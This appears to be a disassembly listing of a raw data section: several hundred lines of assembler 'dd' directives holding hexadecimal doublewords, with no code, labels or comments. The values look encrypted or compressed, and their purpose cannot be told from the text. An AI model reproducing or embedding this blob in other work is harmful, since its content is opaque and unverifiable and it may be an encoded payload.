		dd 0FF812892h, 55A45ACCh, 0B1DBD0F0h, 0DB30432Eh, 47DA0EA4h
		dd 1B53867h, 0C23189E5h, 2EEFC2Fh, 25F1DCC4h, 0CDDDF963h
		dd 8214847Eh, 3E5829E8h, 89F41262h, 0B767764Bh,	777F2556h
		dd 19FABBA7h, 6DA3292Eh, 3904B4C6h, 4E8E3C02h, 49ED83E8h
		dd 360AD5A4h, 97F4DDD0h, 446421FBh, 2240D2B1h, 335367F4h
		dd 0A8886D95h, 0D2958834h, 993D66D6h, 0FE98AB85h, 35E56545h
		dd 0ED87504Bh, 7B6A2A56h, 0EF836DF6h, 46CC5D65h, 4DCD04A3h
		dd 0FA720350h, 0E1725529h, 0EAAC26Eh, 91853771h, 0C37F09D1h
		dd 5A2EF72Ah, 3DE94E08h, 57FD111Fh, 0FD4D9792h,	0A682C9D7h
		dd 4D395AF8h, 0CECE21C6h, 0C44DBB81h, 0DFBB79CEh, 11F4EE9Ah
		dd 108D7551h, 1A69F124h, 0D777EF3Ch, 90F7FB7h, 0C2A36DA8h
		dd 0CCF736AAh, 8C099E7Ah, 43E52B33h, 6082A65Dh,	0ED86C1A4h
		dd 0EBA3DE8Bh, 84A0B780h, 0EB27A7F4h, 641D2AD9h, 0E9E5E420h
		dd 45E44E03h, 51B4A622h, 6B9720F3h, 0AADC6C63h,	0B33A8ECEh
		dd 3E80EF3Eh, 8D744D80h, 45B8C727h, 2060208Fh, 3926F686h
		dd 2618C4E5h, 0BA03C090h, 3A95AFF8h, 1D37B08Bh,	0BD24C339h
		dd 0EED0E642h, 708382BEh, 68009458h, 2D4AAE7Eh,	0D9D9FAEEh
		dd 5BFB6D5Fh, 6D4B9BF6h, 404B0AF1h, 56062670h, 7EF8C016h
		dd 0E0976093h, 92DCFB83h, 5EA2EFB0h, 81FEBD8h, 856367AEh
		dd 0C84FFCFAh, 3CC57C23h, 0CBC14DD1h, 4A0042A4h, 0CD1BE087h
		dd 0C6986A21h, 0FA4CE6C7h, 95F0503Eh, 8C169D77h, 7FCB2095h
		dd 0DF5A5726h, 9DD207A9h, 0E557DB95h, 0C0CBD0ABh, 0BC52D0A6h
		dd 2EBE7E71h, 73CBF5A7h, 57F875A9h, 82A52078h, 816F1F97h
		dd 52329B09h, 0F34D0655h, 0F418FC9Ch, 2748BBE7h, 409E8D4h
		dd 0B4E6D7BBh, 0CB03230Dh, 94E482Bh, 5667C8CDh,	6DBADA87h
		dd 0DE185D23h, 719876F4h, 0A18C64D9h, 399691F6h, 33F2599Bh
		dd 0F87926D9h, 0C48EEDDAh, 62323A43h, 0F37C333Ah, 5D9A39AAh
		dd 62B5907h, 0EDCE98D2h, 7F9C84E6h, 0BA11CB21h,	0E30657F7h
		dd 811ABA83h, 5C70910h,	126D784Fh, 0D112C4E0h, 169FB66h
		dd 207129Bh, 0D63FB84Ah, 5947A7AFh, 1D3F9CE5h, 187D1DF5h
		dd 0FDCDD3B1h, 537C5DDDh, 539C5E42h, 33A27435h,	6BCFA280h
		dd 5989F360h, 30591DC8h, 6B8EF5D8h, 5D979000h, 8893DA15h
		dd 0C0388FBEh, 0E5894CDEh, 3E4DB847h, 3AFFAB98h, 0ED598DA8h
		dd 0C9D51842h, 0DA0733F5h, 0AA2ACB5h, 74ABAB95h, 0C3672EF9h
		dd 0E0F8D0FDh, 7056A2C3h, 4EE8D682h, 7832C02Bh,	0E18BA4EBh
		dd 74F14124h, 0DBE99599h, 0DBD52CCAh, 47A883A6h, 0D502A02Ah
		dd 154D282Bh, 5AE4EC1Bh, 961441C0h, 35047839h, 864D694Fh
		dd 0EF952B8Ah, 2669F5BCh, 0D3F6FCFh, 0B2CD04A7h, 53DDF4A2h
		dd 4D8B080h, 67EF55C4h,	632764DEh, 0DE84A77Ah, 591E647Dh
		dd 31E6863Ch, 0BB39BC53h, 9D55456Dh, 304C5C3Ah,	7CD11BF1h
		dd 1AF9D79Dh, 0D822DC49h, 6A625DAEh, 70FC1526h,	54BD6B54h
		dd 1EF59D07h, 8D1B6930h, 0A94842DEh, 0BAAC8EBFh, 432695E6h
		dd 50FF92CBh, 0DB85AD60h, 725726A7h, 39A204A1h,	0DEC0523Ch
		dd 0C22EE48Ah, 761BA196h, 9E350D5Ch, 0E5BED63Dh, 459211D6h
		dd 8DD09EB8h, 0B61E215Ch, 0CA63BDAFh, 7DD5750Ah, 8B704262h
		dd 0ABD50CF3h, 0AAE4813Fh, 4070DC8Eh, 1BD1FA6Ch, 7715440Dh
		dd 13E06357h, 0E15EE61Fh, 687E3356h, 0DD83652Bh, 9D80327Bh
		dd 555A7640h, 7DACBD6Eh, 0EB791A0Ch, 0D7F39ACBh, 0CE3E25DDh
		dd 11024C93h, 8D248E20h, 9D75D2AAh, 82AD5EAEh, 7C60E51Ch
		dd 0BD2230C2h, 0E4C7433Ah, 4D5BAEEh, 0BEA78C62h, 49BEC950h
		dd 29A3BD57h, 43511280h, 61B44805h, 0F2ACAD31h,	0A8DC5C5Fh
		dd 0DD011481h, 0A795C0BAh, 7BB8B0DEh, 43E15D97h, 67150053h
		dd 1234B4FBh, 0ECDF1565h, 7DC771C4h, 9B5D8B36h,	9781F0E0h
		dd 6FA5FA9Fh, 0BA8C99F6h, 7CC827BEh, 57D7310Fh,	5540DED7h
		dd 40EC1C73h, 9B9C18C4h
		dd 5D80B16Fh, 174111DCh, 221A2FADh, 1A06F4B5h, 3F1ACB59h
		dd 9F1DF43Dh, 805A35EDh, 58D4D46Fh, 0FBAF7E1Ah,	0A949A297h
		dd 1B8417F9h, 0D7A855FEh, 30165DD8h, 227DDEAh, 0DCABF616h
		dd 6647A9FDh, 35EA7BC5h, 7FD72A66h, 5A61076Ch, 0FFD18721h
		dd 97CD26AAh, 7A071810h, 7135CDDBh, 0ECE35265h,	0EA45F98Dh
		dd 0C9DDA7FEh, 0B153D860h, 3A39C7B3h, 0E5A4C038h, 0A91B9C73h
		dd 0CEB843C2h, 5F2D8908h, 0AA18A9A7h, 48C99EA1h, 0C1EF43C8h
		dd 0E8F16A67h, 2DCEBD54h, 0EA9BA98Fh, 0BCAE3B9Dh, 999724F3h
		dd 0BA053427h, 29544774h, 707274F1h, 0EF7CB2B9h, 263FA15Bh
		dd 9F785224h, 33217BC4h, 2BE5BD99h, 0B44214C7h,	38B77A3Fh
		dd 0B1CBDD8Dh, 0DC72E9E4h, 0D1DD11A3h, 5AEF1812h, 326C3989h
		dd 0F9527F5Fh, 0E7AFD4h, 0E83BD72Ah, 599A7BECh,	0D07357DEh
		dd 0CC809FB6h, 0D4393FCCh, 0E32473DFh, 11A4D2D1h, 3FE7D412h
		dd 8FAABED5h, 0DBAEA3DCh, 220BFBC3h, 9D7F4C29h,	6B82D9F0h
		dd 1E09C76Eh, 3ABD1E65h, 0F329E977h, 0B906FE8Bh, 8E51AC46h
		dd 4A1189BCh, 988362C4h, 7CE0C7F2h, 5FE406D6h, 43B17484h
		dd 3A0CE752h, 4157C6B0h, 0F8E3F9E6h, 0F3C1885Fh, 0E2A6ED90h
		dd 64D0159Bh, 34154FECh, 7BB92FBh, 4D39D267h, 0D0E13D46h
		dd 0DDFFFD1Ch, 0A81A78C3h, 458E31F1h, 0E7AE744Ch, 20F8744Ah
		dd 0D23DB178h, 9B7A6A19h, 3204B15Ah, 0E7AC23D0h, 911FA3B2h
		dd 0F7476262h, 0ABF894F4h, 147ED7BCh, 374B18CEh, 2FEC58F0h
		dd 208FC2F6h, 166FEB8Fh, 0C616CFAh, 913FACCFh, 2F8859E4h
		dd 5B369DC6h, 0D42C5275h, 9DC353D4h, 0D6CC5ABBh, 0CBC89624h
		dd 512481A5h, 0A3831247h, 0E542606Ch, 0F9E91F45h, 71987023h
		dd 68F5B726h, 2F497C55h, 0E3182476h, 4B636874h,	1CE310A4h
		dd 0DE75F163h, 10DD3BDFh, 70757B7Ah, 0C0F2A44Ch, 4C966CDAh
		dd 0C63FE134h, 0DE2A6477h, 3B3DB9FCh, 0F5897832h, 8C54671Ch
		dd 0F0EB87D9h, 3579C160h, 83263B19h, 67DEB5EAh,	58094F71h
		dd 0D44661Dh, 0F50D17C7h, 30979002h, 2EDC87Eh, 0B3AF115Bh
		dd 5454F91Dh, 0D32BD9E1h, 2575F3BCh, 0FEFACCEEh, 0CDB2A999h
		dd 8A7645D9h, 0BF7F47C7h, 4CE70B1Fh, 1F86EB14h,	0E2150AA7h
		dd 0C908F6C8h, 7CD24EA1h, 6132949Ah, 37E4DB89h,	0E3C98529h
		dd 7DEB3EB6h, 5D033DCh,	27EB53CBh, 778CF2E3h, 0FAA0BAE2h
		dd 0A473F5ECh, 1F3BFFF2h, 0C0E74F95h, 0E55EF635h, 5C60D19h
		dd 0C62CF130h, 0EA563967h, 2A116298h, 0D0807544h, 4BD65DFDh
		dd 0E4C8BE8Eh, 8515C7B6h, 6033833Fh, 9B4751B3h,	34262AC3h
		dd 0CF79AC44h, 0B530A742h, 0DF21D560h, 6B9C4245h, 0F6BA9E0Ch
		dd 0AFE00B34h, 712646C7h, 0E26CB5FEh, 5CDFA634h, 0C85AAE4Bh
		dd 296BDBA5h, 3796B14Eh, 0E07B5DFCh, 86EC8F24h,	0E4420C13h
		dd 5EAB37A9h, 854C6EE3h, 0C3B74E20h, 0A3060EE5h, 58F4868Bh
		dd 61BAF46Bh, 3918F7A2h, 580E3C49h, 6783B76Eh, 0A5441B26h
		dd 0E0890EA3h, 14A3A96Ah, 5D32C56h, 0AFBA981h, 5CC4B99Ch
		dd 6B597434h, 37B805AFh, 4B9771E6h, 0A45F7B1Dh,	0F5F72FD4h
		dd 0BAA8892Dh, 0BF3C23B7h, 8029B0D2h, 0D2CBC34Ah, 92CB093Ah
		dd 0FBC651DCh, 18035D18h, 0B3FFA1C4h, 55C09013h, 8BDCF91h
		dd 0F0CF38F4h, 0B94AD40Eh, 34B455AEh, 0D28314Ch, 53D3FBF1h
		dd 0B7C1DEDDh, 5313F46Dh, 0C6A0082Dh, 92AC776Bh, 36C8E30h
		dd 0C0DF0F73h, 50207FB0h, 42031DB0h, 2C83BE35h,	6FD91AE1h
		dd 0C70750E6h, 1F001A04h, 43CF1DDCh, 7E659290h,	0E7949Ch
		dd 76C7F3C3h, 28268DC5h, 34137F2Bh, 0FFEEF34Ch,	42D9EBDh
		dd 4725E26Bh, 218E064Fh, 0E9E7B889h, 500B2FB6h,	0BA0582DBh
		dd 0FE77A160h, 140F3006h, 29DC37F9h, 4EAC9415h,	1398EF84h
		dd 22FBBD4Eh, 4C218A41h, 0B38F8C4Dh, 0A08ED87Ah, 69D1A379h
		dd 7ABF2EEFh, 782D2657h, 0EE75DFCAh, 26D180F0h,	0A0605376h
		dd 0F2CCF32Ah, 63B5BD73h, 0E78CFC1Dh, 0B01218DEh, 0B9980735h
		dd 53FDC790h, 7CB900D1h, 36EC353Eh, 5E8F6944h, 8E617F63h
		dd 847DB453h, 782D5018h, 9C176EE0h, 0F1E01725h,	168C41F7h
		dd 1F391E14h, 509CE086h, 0B92B61D4h, 1CC80162h,	0B464C605h
		dd 0F6E2AF25h, 7576DDB7h, 0F88B0E1Eh, 5CE0EE69h, 0BE82204Dh
		dd 6630C241h, 5EB7BA71h, 1ACE0184h, 90E4274Fh, 4A1BC230h
		dd 57447CACh, 7697965Fh, 8658448Ah, 0AAB8382Eh,	44E5DB4Bh
		dd 3B87DDAAh, 73809B90h, 56B8BE59h, 62D465CAh, 0FF7CA44Ch
		dd 1612DC3Dh, 0BF24A60Fh, 0DA379F77h, 6420B8E3h, 30EF6C90h
		dd 56800941h, 135F04A8h, 0E6BEB6E9h, 0F9AEA2D9h, 3159C642h
		dd 8DC83545h, 269CA22Bh, 3407FE56h, 0C4AC4CCFh,	0AA0907BCh
		dd 0E4668C63h, 5419384Dh, 0C5160655h, 0B5FD846Fh, 401FDBECh
		dd 0F1A01EE8h, 1A4B150Bh, 0E158AC48h, 0C93BFF00h, 3C7214E5h
		dd 0F76C1671h, 24B23A72h, 0F6AD64F5h, 70D0309Dh, 0CA183ED2h
		dd 223F06BBh, 21610D7h,	0A96AD69Eh, 3A108D8Eh, 8ED748C7h
		dd 0AE723A1Ch, 87F7D5C7h, 978D4D6Bh, 0C25649EBh, 98A69DD4h
		dd 643EF9F3h, 26A637CDh, 540E72FCh, 375BFE65h, 834E840Dh
		dd 0AF54CE25h, 4BAD1B4Eh, 1AC29CE4h, 1093BE2Ah,	263EF082h
		dd 0BF6F87C4h, 9A9B0FA9h, 855814h, 6E99D2CAh, 625A3AF2h
		dd 43BA86EDh, 1D4C2303h, 0AA64EE99h, 9236B5D1h,	0F448D795h
		dd 76A0CBC8h, 20E359E0h, 5547B4FDh, 6A53922Ah, 93980D5h
		dd 0AF1B572Fh, 93FCFDD8h, 9BC0890h, 48734ED6h, 762A8E70h
		dd 0A21D9BF1h, 0D0F10E5Fh, 0C5297229h, 0F232468Fh, 3BF6FD4Ch
		dd 0B0D00103h, 986C278Ch, 73268608h, 0D1DF67D0h, 0B3E222CCh
		dd 340A045Dh, 0BDF2A2B9h, 0BC02EF97h, 0C4852A43h, 14D42D87h
		dd 65531616h, 6A2EED90h, 0BABEFCD6h, 53CE0237h,	0C2CA7D86h
		dd 469D5E2h, 0E160C72Ah, 10B44713h, 4E29B888h, 4FFB0644h
		dd 0FF836F98h, 0B58E9BB4h, 6414160Fh, 9DD9C04Fh, 0EAE93636h
		dd 9578E060h, 5B2FA7B7h, 0D75EFD3Bh, 8C81CCF9h,	0E76CF3E1h
		dd 0BE964AEFh, 0E076E408h, 7F368F31h, 91AD87ECh, 6A8E005Fh
		dd 11CE95AAh, 1BF4DFD0h, 5642E4B6h, 4BA2BB18h, 0C4E5D690h
		dd 47E09467h, 83A5A04h,	0C361A0D5h, 2530EC4h, 0CCC980D4h
		dd 65B99A02h, 5185FB5Ah, 0A46DDEEAh, 313522F2h,	9712780Eh
		dd 9C86E30Fh, 0A908FEDEh, 7DC541F2h, 0ECE896FDh, 0A73F583Fh
		dd 4D9CBFB5h, 4779E333h, 515FA11Fh, 10A89A47h, 1A2B354Bh
		dd 0EAFA7EC8h, 9FD371B1h, 2BB459B6h, 0BDC42F8Ah, 0B9268B3Eh
		dd 1D00D746h, 0A152F94Bh, 0BFC82889h, 50E2C85Eh, 0A641E3A7h
		dd 0D9377B40h, 2B60BB1Bh, 5824C1C4h, 3628F315h,	956EA7B5h
		dd 0C495F5ABh, 3EB3F742h, 1EAD6E9Fh, 4331262Bh,	7B6B9B9h
		dd 7A512BB3h, 0FA5AC904h, 0AC564761h, 0EDDC2126h, 11F5259Ah
		dd 0BABD3A1Dh, 0D039153Ah, 0C93043ECh, 5B715C1h, 0E3E372AEh
		dd 686C716Bh, 8CC24BADh, 1747C67Bh, 0AAE360DBh,	1C6021E9h
		dd 0CE63C559h, 41548B6Bh, 0AC44F2F6h, 210C0516h, 0EFF2772Ch
		dd 70F579D8h, 0C363D93Ch, 656F8322h, 0CF6C694Ah, 7AB5C2B0h
		dd 0F8DCF6F6h, 40576312h, 68BB625Dh, 422F4CC8h,	0E13A41D8h
		dd 8CFFF7F4h, 0DD870AEAh, 2A4A4DF5h, 0D19F8778h, 0F77597A5h
		dd 0D0152AD5h, 0D36399CEh, 0EF7F7331h, 0D71C4725h, 557268A2h
		dd 83F74AC9h, 51D98D88h, 85B76790h, 18A58B68h, 4E453F6Ah
		dd 0DBAC2EF2h, 4DC057BAh
		dd 0B18C5A0h, 79487FABh, 166A7090h, 3B79063Fh, 3F09D902h
		dd 0C7C38E2Dh, 66E0DC15h, 0E3E70E08h, 0E8584A9Fh, 9B408936h
		dd 96A781DDh, 9219D3E1h, 5242ED0h, 2BD5889Eh, 0B5E63641h
		dd 0F39E7B76h, 0BFAF59E2h, 0AFA10B57h, 0EC5BE2E8h, 0BA5AF897h
		dd 0E716C15Ah, 0CBD8087h, 0B71A632Eh, 114EFDD7h, 0A686AA04h
		dd 0EDF3C659h, 0B5ED4CD4h, 0A7F0B174h, 13CFA39h, 0D19197D3h
		dd 605DDEBEh, 34A06F2h,	0D436643Bh, 26748C2Fh, 997239CAh
		dd 6C1AEE89h, 0EA7CDC18h, 0A17C3Ch, 0BA73BB29h,	0DEAAFA12h
		dd 0F313E3EFh, 0C6343BF9h, 0D8A59538h, 12F16DE7h, 4A8340BFh
		dd 3F6E4CE1h, 0E96D75EBh, 0CC733290h, 5FD64413h, 0E75F813Eh
		dd 5055F548h, 6A4EF139h, 26085678h, 806721FBh, 72548B50h
		dd 0B2094CD0h, 810EE233h, 6FA6B76Ch, 894A706Fh,	51577C29h
		dd 404AF7FCh, 0BED689B3h, 989C678Eh, 0A83F2D4Fh, 21F06EC2h
		dd 0E3192447h, 776D05CBh, 0D976EF6Dh, 55015A12h, 36DA3AE1h
		dd 9453BC4Dh, 1BB90B7Ah, 4CA8B7B1h, 5124FE24h, 0E7C40A96h
		dd 3B485B66h, 0EF72EFDFh, 0AE161C8Ch, 93DA648Bh, 5EC99DF4h
		dd 3B1C8141h, 97E5CB5Dh, 288636CBh, 0DD4B471Bh,	0DBFCF68Fh
		dd 0A96D4777h, 9BA6A9A5h, 0E1EA41E4h, 2A1DD03Ah, 0A1D39207h
		dd 0D02797F9h, 0A051DFC0h, 0C0E70EEFh, 59B9E1CAh, 4EBA14AEh
		dd 0E62C820Ah, 790D02B4h, 3645F502h, 0AD885BC0h, 0DF568A2Bh
		dd 0DDF081BBh, 11BD0FBFh, 5AAE7E28h, 74ECE51Bh,	0DE8691A3h
		dd 5FBFC6E0h, 12D47BE9h, 40A0704Dh, 0C4039CAh, 59A8FD3Dh
		dd 0FB7C1A4Eh, 0A2F656E4h, 37D44361h, 48A735E1h, 939C4EA9h
		dd 0D58D7018h, 0B7B09B4Ah, 0C84BE594h, 0FB512968h, 3EAEF9ECh
		dd 0D269C8C7h, 0C6701DF8h, 0CCB11E4Ah, 0DF45E573h, 0CE9762F0h
		dd 11BC3236h, 0BE783030h, 3E4DABBEh, 0B3E294CCh, 0A90A7458h
		dd 0B04E3DC6h, 0D5D49C2Ah, 67158358h, 29352000h, 8AF0687Fh
		dd 0BFA0DB31h, 90B26875h, 0FB7FDBC8h, 8731D470h, 1DE8EDBEh
		dd 4AE63F90h, 0F6321CF2h, 0A5B3AEA9h, 1E9D002Dh, 0C0648168h
		dd 5432397h, 6C37FDC1h,	95D2C469h, 61498CB1h, 0ECF0D90h
		dd 0AA46F9B5h, 671F37AFh, 0F7C0A195h, 25E1A733h, 65CFE994h
		dd 52676AB1h, 94A77EA9h, 0EA45286Dh, 0CE26AB5Ah, 0AACD06C4h
		dd 3EE0C625h, 284B6020h, 0B1CD53C8h, 0DFD40FE2h, 80238C74h
		dd 5CCD9F32h, 40DBCE2Ch, 75BE43AEh, 2EB577D3h, 567F08BCh
		dd 80279C50h, 92600016h, 17701C91h, 108A32A4h, 0B4EC4F23h
		dd 4E421907h, 6CA8F2A1h, 0E7B3A40Eh, 0C577FFE1h, 51198456h
		dd 203B5D1Ah, 0A61852E6h, 63DFFEC5h, 87345217h,	3ADB84Ch
		dd 0D3D469D9h, 7BE44B87h, 0C9DA5A14h, 19DD5545h, 818F5FFEh
		dd 0E2DCE839h, 5882EA67h, 4D213A6Eh, 0E1069FACh, 5FEB21FBh
		dd 88F84A0h, 0EB350EC2h, 0A3471ADh, 6C08E005h, 0C8BE437Ah
		dd 0F5A2E896h, 0DBC5B02h, 7AFEA7A2h, 44CCC5F5h,	47B976BAh
		dd 85684BE2h, 679BF64Fh, 0E12EC1D1h, 0E4041F3Ch, 0B84DFD4Eh
		dd 0EE4353ECh, 145924ECh, 16F8F3B5h, 0C54DC292h, 203B0D5Eh
		dd 8E73F920h, 0EDECCCF6h, 306D889Fh, 0E14D6031h, 6D5249C4h
		dd 0EB6D592Bh, 3F51288Eh, 266D1509h, 0B0460899h, 276290BDh
		dd 0E63BB78Fh, 0EE2BBD9Eh, 67C17DE7h, 0F9DC5728h, 2C0286ADh
		dd 0DF1BFE2Ah, 1CE0786Bh, 1E4FA77Eh, 16E80E40h,	9692572h
		dd 0C5FFD3Ch, 2BBA8D8Eh, 9A93C0Bh, 6357A634h, 8413E8E4h
		dd 40294335h, 0DF99CDB7h, 0F9461D90h, 0C642B4D8h, 19FDD932h
		dd 12A15CEBh, 55CC12DBh, 206DBA3Bh, 62D383CCh, 0C70DCC8Fh
		dd 340790C9h, 0DB3DF806h, 0CC882846h, 3940208Ah, 0CB011814h
		dd 540859C9h, 88C9F232h, 0DD093B7Bh, 8978E907h,	9ACA055h
		dd 66F2501Bh, 21772717h, 39DCCBBh, 71B8E5BBh, 9FB7099h
		dd 822916A3h, 3ECB235Eh, 9ED76259h, 16EA070Eh, 0E2504C0Ch
		dd 0E04CEB66h, 0B35148C0h, 14EAB17Dh, 0B361A88Eh, 2BA5B33Bh
		dd 602392D3h, 2C367283h, 0F3715704h, 21A62A02h,	2CB60DEDh
		dd 5CC3D016h, 0E0E655E0h, 3B683E33h, 0B5A73D8Ch, 0E6C9CB6Ah
		dd 70955BDFh, 0B4499A2Dh, 0C0F6F925h, 0A27FB053h, 0FD153C9Ch
		dd 0C9DC3781h, 0E4447372h, 0F48CAFD4h, 0FDD7E638h, 2107F1ECh
		dd 0DB881056h, 9B3D0909h, 0EB81700h, 1CA935CBh,	0A0F0CCADh
		dd 0EC84EB96h, 5967630Eh, 49A0304Dh, 6C1B62D7h,	7080DE26h
		dd 0C8BFB601h, 0B9673400h, 0ECC6E467h, 0EB5149C2h, 0E9B0C3DEh
		dd 8FDC5918h, 53F69A9Bh, 141C6496h, 0FF3E10C4h,	0A9269098h
		dd 1BA9521Eh, 909CA0DAh, 0CEF0A06Fh, 7AAE8A16h,	3BAFECB9h
		dd 0B05022D5h, 0F0CCD8E5h, 0A1CBF4F8h, 84C7AEACh, 32FC6853h
		dd 0D65307A6h, 485C63C5h, 0A89F394Ah, 342B1D2Dh, 85D1F47Dh
		dd 900C9F30h, 19A08C87h, 0C9722E54h, 5B271043h,	98FF4CA2h
		dd 6C173A9h, 0BCE6D53Ch, 6BF72EC4h, 3C022264h, 0A20B755h
		dd 71DA76C1h, 0A771624Eh, 4A4856B0h, 2604AED3h,	9518BF83h
		dd 0B896A638h, 11930921h, 0E1D8F59Ah, 986E9DDAh, 4E78BEDFh
		dd 0B9FD3C7Bh, 9052C563h, 0BB974E45h, 0DA1B324Eh, 8E87C660h
		dd 4B3C4FEh, 8A988FC4h,	81844F9Ah, 809C9FB5h, 78EA62E0h
		dd 0E0A78215h, 13FD8F6Bh, 0FB5E7240h, 0E78D6F5Bh, 521EE6F5h
		dd 9DB2C9CFh, 0EC8D2269h, 7BC5DDF4h, 8B19F3B9h,	56336510h
		dd 0A466E37Ah, 294AD95Bh, 78781658h, 0E04BAE6Eh, 94F7987Dh
		dd 835D2A51h, 2F9F967Ch, 9BFB92B1h, 0BA49CA14h,	9DF70655h
		dd 2AD87BA7h, 7F760A1h,	26F74E58h, 57604054h, 3632028Fh
		dd 0EB476672h, 8C22ACEDh, 0F6CBF6EDh, 11DA4775h, 263A8068h
		dd 10F5B7BAh, 6E2D0288h, 537E1F5Ah, 6C066ACh, 0ABBA638Bh
		dd 681287F2h, 6572E110h, 609E78D2h, 7967AC9Eh, 8FA4A0C5h
		dd 1B060448h, 0F18F1CF0h, 5A838A38h, 968F20D3h,	0A30AFFE4h
		dd 8473BC51h, 0D79E11F2h, 2A8ED203h, 5A6C7262h,	0F11EE7BCh
		dd 6EBFEC91h, 52D9C27Dh, 414854A0h, 42E873AFh, 0D8681C5Bh
		dd 0A7A1B2E0h, 0F8B19D1Fh, 0E7B89B1Ch, 1EEEB9C1h, 0F7364DD7h
		dd 0CD6DAC67h, 0C7BB22Bh, 0BA982513h, 1F896A3Eh, 1EFEEB4Dh
		dd 8BE8282Ah, 439E2057h, 27531878h, 0B3EF6424h,	2FE73007h
		dd 0B28E5DBDh, 5BC05E8h, 6F631CCCh, 0B4AEDBB4h,	9D6614D6h
		dd 0A12265D3h, 0CBCD1EDDh, 0DC1E98BCh, 29824AD1h, 51DF3661h
		dd 4C34F29Fh, 0C4DC8293h, 1097AD4Ch, 40C085CFh,	70DB2865h
		dd 74898737h, 55E1E8CCh, 0F25A656Dh, 43727E5Ch,	3AA7A8BEh
		dd 0FF63BABFh, 488B20E3h, 1BFDB527h, 32FF7DBCh,	0D289F950h
		dd 0A89EDC56h, 0C1318A3Dh, 9BB853EEh, 87210C25h, 0DF5E2A5Eh
		dd 9B43BB0Ah, 7979D4BCh, 254317A0h, 825ECBE5h, 0B2BF3A65h
		dd 82BF80DAh, 0AAE6AE7Bh, 2A08C905h, 41A4CB44h,	0ED903AAAh
		dd 0D0D0FBA3h, 55D83042h, 4848A8E2h, 8C8804EBh,	332F14BBh
		dd 289ACD18h, 684A0330h, 0E7103946h, 84D380CEh,	0A7D0033Ch
		dd 85B7123Ah, 2183A2DDh, 4EDEF2DDh, 0AED52C04h,	6A06E4FBh
		dd 2CA50212h, 20AD9FF6h, 31CB84D3h, 9B40CA15h, 0FFF5F5FFh
		dd 34261107h, 29558316h, 27556B98h, 0C3600ED7h,	0EA12A8AEh
		dd 76D230E9h, 0A45CAE1Dh, 5F811D23h, 2935147Eh,	0C7C7AE68h
		dd 0F4149FDEh, 6FF7A00Ah, 70BA4ACFh, 0E9414F61h, 60FACB1Fh
		dd 80D66794h, 8D2F17B1h, 639F5636h, 75DD4F3Eh, 6BD38577h
		dd 0B1FDFA95h, 0E16346EBh
		dd 0DC65596h, 7433CE29h, 0E52E5D05h, 0AF5E2D8h,	0B6CAC9DBh
		dd 0AF6A089Ah, 0BAFB862Dh, 0A5BA89CDh, 0ED57A323h, 0DB98C713h
		dd 36932419h, 9CAA1888h, 6606F46h, 849F4C77h, 87F4AA18h
		dd 0E0788F9Dh, 5B5AA7A1h, 0BA47426Eh, 35012082h, 0C2EAA9FEh
		dd 83B178Dh, 6BD190E5h,	46EC2A6Dh, 0D53E135Fh, 0E571D92Fh
		dd 99496C40h, 0D9A20425h, 0BBBA4011h, 0CC56FEE1h, 5649FFF2h
		dd 0F7A884E4h, 203307EBh, 0FD30136Fh, 61DAB702h, 78E7DE59h
		dd 0A92D9688h, 1975B365h, 0E49C83EAh, 0BE4A95DEh, 0A6923345h
		dd 0A798580Ch, 3FB3DE1Bh, 2EE6534Bh, 20DA9BC5h,	8A3EEFA5h
		dd 51692C93h, 23E17279h, 2C192411h, 0C572C120h,	6EAE2405h
		dd 0D6E6CA99h, 1B850BFDh, 0A58DEB61h, 8B755540h, 0DCE980D4h
		dd 24764513h, 0A940CADAh, 0B83402A1h, 1FC22EFBh, 0D692A225h
		dd 2FC51DEAh, 62C582B1h, 381499Ch, 0B11FDE02h, 0C0DFB5DCh
		dd 0B8C4CC2Dh, 0CF97A65Ah, 0A822EA36h, 6148FD60h, 0EDF1BB4Dh
		dd 0D67E0EE0h, 0C9E963C5h, 86F1C34Fh, 444D96C2h, 5EF575A4h
		dd 0C6E2D4Bh, 95E78BEh,	31837BF7h, 25EE04CAh, 0C252501Ah
		dd 11049892h, 5E293DEDh, 91A13264h, 52D36F5Ah, 7BCB06BAh
		dd 0C86E3F3Eh, 0A85FFC42h, 5B993D1Bh, 0E437E5EAh, 42D734CCh
		dd 2A8C57F4h, 0F828D70Ah, 0C887CED8h, 0F251F79Eh, 85E09BBAh
		dd 9CC8B01Dh, 0FC9A3D15h, 7CA133A7h, 0E9C551FEh, 1E828D7h
		dd 9E9EA659h, 0DBE0C37Dh, 0F4FC033h, 706D2985h,	0E57D1A25h
		dd 50C1A6C9h, 0B0D425D1h, 0C5D1ACC8h, 91B5C4C1h, 0AC5DD381h
		dd 4D2401CEh, 0CE2CB54Ah, 36E297FCh, 0EBA2F775h, 594D63F0h
		dd 33BE7A34h, 47A113B5h, 0BDC1B7DFh, 982076C5h,	0A88EF740h
		dd 0D8BC1EF4h, 0EAFFD952h, 8627E499h, 0B7CE8D13h, 30411359h
		dd 0AC10681Ch, 8122B6C2h, 37AD8F01h, 70B64B56h,	1540A6C0h
		dd 14C1B8BDh, 0E3A8B029h, 0AE016B8Dh, 0D22EDA59h, 0FD87C7E4h
		dd 66D18AAFh, 5AD3BCF7h, 3CB7EFC1h, 24A15FA4h, 9B543F80h
		dd 0D4D17CDDh, 6BF0107Dh, 5F4A116Ah, 945F2E64h,	0A7EC2E12h
		dd 65D9BBE8h, 6839152Eh, 8860420Ah, 0A7705433h,	0F9F712D0h
		dd 8F1FB85Eh, 5F774FB1h, 0FCC4B5FCh, 6B1A3207h,	0A41CC264h
		dd 1168E475h, 6964EC3Bh, 13A48339h, 0A739CFE0h,	9E94A041h
		dd 97BEBDACh, 0B348C3Ch, 456E049Bh, 46D988A3h, 2E7969B0h
		dd 0D5498876h, 0A227AAE0h, 116E537Dh, 0E86598A2h, 0E7CBFCBDh
		dd 0A8D8947Fh, 40CB2023h, 4CE08D66h, 0F49DE025h, 0E30F7A0Dh
		dd 0A7FAFB90h, 184853C4h, 0E5E5861Fh, 0BF1BFB73h, 9CDA76DAh
		dd 0FFB8D1E0h, 0CC3A7BEBh, 0F9998A74h, 8B259FC5h, 717491A5h
		dd 75643F9Fh, 47609A10h, 1C66500h, 0AE24AAC3h, 0C1D6842h
		dd 81C7BF1Dh, 0C5D00B96h, 0A9C2CD47h, 772C7AE5h, 2DF36E11h
		dd 0D01320A9h, 0C7D37103h, 5DDE7362h, 0A5E99FD2h, 6D2C00A6h
		dd 0DD7B7F2Dh, 0C5D8F139h, 0C8699E20h, 0B3C4AEF8h, 54A5FDBBh
		dd 0BEEEA46Ch, 0A104AEE4h, 0ABBD8777h, 6819FCF0h, 4813F75Fh
